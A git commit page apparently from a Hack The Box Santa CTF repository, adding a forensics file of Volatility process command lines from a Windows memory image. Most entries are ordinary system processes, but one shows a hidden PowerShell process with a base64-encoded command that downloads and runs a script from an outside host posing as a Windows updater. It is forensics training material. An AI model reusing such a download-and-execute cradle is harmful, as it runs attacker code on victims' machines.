aaron/htb-santa-ctf
1
0
Fork 0
Code Issues Pull Requests Projects Releases Wiki Activity

add forensics

Browse Source
This commit is contained in:
aaron
2021-12-02 22:01:31 +01:00
parent f1db6a288e
commit b3014e4977
6 changed files with 346 additions and 0 deletions
Download Patch File Download Diff File Expand all files Collapse all files

60
forensics/honeypot/win_cmdline Normal file
View File

@@ -0,0 +1,60 @@
Volatility 3 Framework 1.0.1
PID Process Args
4 System Required memory at 0x10 is not valid (process exited?)
236 smss.exe \SystemRoot\System32\smss.exe
308 csrss.exe %SystemRoot%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,12288,512 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitialization,2 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16
348 wininit.exe wininit.exe
360 csrss.exe %SystemRoot%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,12288,512 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitialization,2 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16
400 services.exe C:\Windows\system32\services.exe
408 lsass.exe C:\Windows\system32\lsass.exe
416 lsm.exe C:\Windows\system32\lsm.exe
496 winlogon.exe winlogon.exe
572 svchost.exe C:\Windows\system32\svchost.exe -k DcomLaunch
636 VBoxService.ex C:\Windows\System32\VBoxService.exe
692 svchost.exe C:\Windows\system32\svchost.exe -k RPCSS
744 svchost.exe C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
848 svchost.exe C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted
888 svchost.exe C:\Windows\system32\svchost.exe -k netsvcs
1012 svchost.exe C:\Windows\system32\svchost.exe -k LocalService
1084 svchost.exe C:\Windows\system32\svchost.exe -k NetworkService
1208 spoolsv.exe C:\Windows\System32\spoolsv.exe
1252 svchost.exe C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork
1376 vmicsvc.exe C:\Windows\system32\vmicsvc.exe -feature Heartbeat
1396 vmicsvc.exe C:\Windows\system32\vmicsvc.exe -feature KvpExchange
1432 vmicsvc.exe C:\Windows\system32\vmicsvc.exe -feature Shutdown
1440 taskhost.exe "taskhost.exe"
1504 vmicsvc.exe C:\Windows\system32\vmicsvc.exe -feature TimeSync
1532 dwm.exe "C:\Windows\system32\Dwm.exe"
1540 vmicsvc.exe C:\Windows\system32\vmicsvc.exe -feature VSS
1556 explorer.exe C:\Windows\Explorer.EXE
1620 svchost.exe C:\Windows\System32\svchost.exe -k utcsvc
1716 VBoxTray.exe "C:\Windows\System32\VBoxTray.exe"
1872 cygrunsrv.exe "C:\Program Files\OpenSSH\bin\cygrunsrv.exe"
1956 wlms.exe C:\Windows\system32\wlms\wlms.exe
1612 cygrunsrv.exe Required memory at 0x7ffd9010 is not valid (process exited?)
1684 conhost.exe \??\C:\Windows\system32\conhost.exe "-57088940168010838710243314093101560802089520680-1936804963-2081634044-598129742
1676 sshd.exe "C:\Program Files\OpenSSH\usr\sbin\sshd.exe"
1800 sppsvc.exe C:\Windows\system32\sppsvc.exe
2080 svchost.exe C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted
2360 SearchIndexer. C:\Windows\system32\SearchIndexer.exe /Embedding
2440 SearchProtocol "C:\Windows\system32\SearchProtocolHost.exe" Global\UsGthrFltPipeMssGthrPipe1_ Global\UsGthrCtrlFltPipeMssGthrPipe1 1 -2147483646 "Software\Microsoft\Windows Search" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)" "C:\ProgramData\Microsoft\Search\Data\Temp\usgthrsvc" "DownLevelDaemon"
2460 SearchFilterHo "C:\Windows\system32\SearchFilterHost.exe" 0 504 508 516 65536 512
2616 csrss.exe %SystemRoot%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,12288,512 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitialization,2 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16
2644 winlogon.exe winlogon.exe
2784 taskhost.exe "taskhost.exe"
2844 dwm.exe "C:\Windows\system32\Dwm.exe"
2856 explorer.exe C:\Windows\Explorer.EXE
3108 regsvr32.exe Required memory at 0x7ffd5010 is not valid (process exited?)
3504 VBoxTray.exe "C:\Windows\System32\VBoxTray.exe"
3112 WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe
3324 iexplore.exe "C:\Program Files\Internet Explorer\iexplore.exe"
3344 iexplore.exe "C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:3324 CREDAT:14337
2700 powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" /window hidden /e aQBlAHgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcABzADoALwAvAHcAaQBuAGQAbwB3AHMAbABpAHYAZQB1AHAAZABhAHQAZQByAC4AYwBvAG0ALwB1AHAAZABhAHQAZQAuAHAAcwAxACcAKQApAA==
3732 conhost.exe \??\C:\Windows\system32\conhost.exe "288449379-1457209856-1923954052-101100547-172367320720102786213404402731845854479
4028 whoami.exe Required memory at 0x7ffdf010 is not valid (process exited?)
4036 HOSTNAME.EXE Required memory at 0x7ffd7010 is not valid (process exited?)
2924 DumpIt.exe "C:\Users\Santa\Desktop\DumpIt.exe"
2920 conhost.exe \??\C:\Windows\system32\conhost.exe "280284285205075330588133904-110126809119471720131011406317-845024101-1158882802
168 dllhost.exe C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}